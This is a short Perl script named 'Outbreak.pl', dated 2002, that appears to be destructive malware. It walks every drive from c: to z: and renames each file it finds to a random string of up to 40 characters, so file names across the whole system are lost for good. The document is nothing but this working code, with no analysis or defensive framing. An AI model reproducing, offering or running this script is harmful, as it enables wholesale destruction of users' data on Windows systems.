#####  Name:     Outbreak.pl
##### Version:   0.1.3
#####  Author:   pGG
#####  Contact:  pgg@zapo.net
#####  Licence:  The license of Perl
#####  Updated:  2002-6-26
use File::Find;
my @to=("c".."z");
my @yes;
my @pl=map("$_".":/*",@to);
for(0..23){
@$_=<$pl[$_]>;if(@$_){
@yes=@$_;
find(\&wanted,@yes);
}
}
sub wanted{
unless(-d $File::Find::name){
my @crypt=(0..9,"a".."z","A".."Z",".","+","=","-","!","@","#","\$","%","^","&","(",")","_","[","]","{","}",",","`",";","'");
my @array;
while(@crypt){
push(@array,splice(@crypt,rand(@crypt),1));
}
my $passwd=join("",@array);
my $length=int(rand(40))+1;
my $shadow=substr($passwd,0,$length);
my $tree;
my $new;
unless($File::Find::dir=~m"/$"){
$tree="$File::Find::dir"."/";
}
$new="$tree$shadow";
rename($File::Find::name,$new);
}
}
exit 1;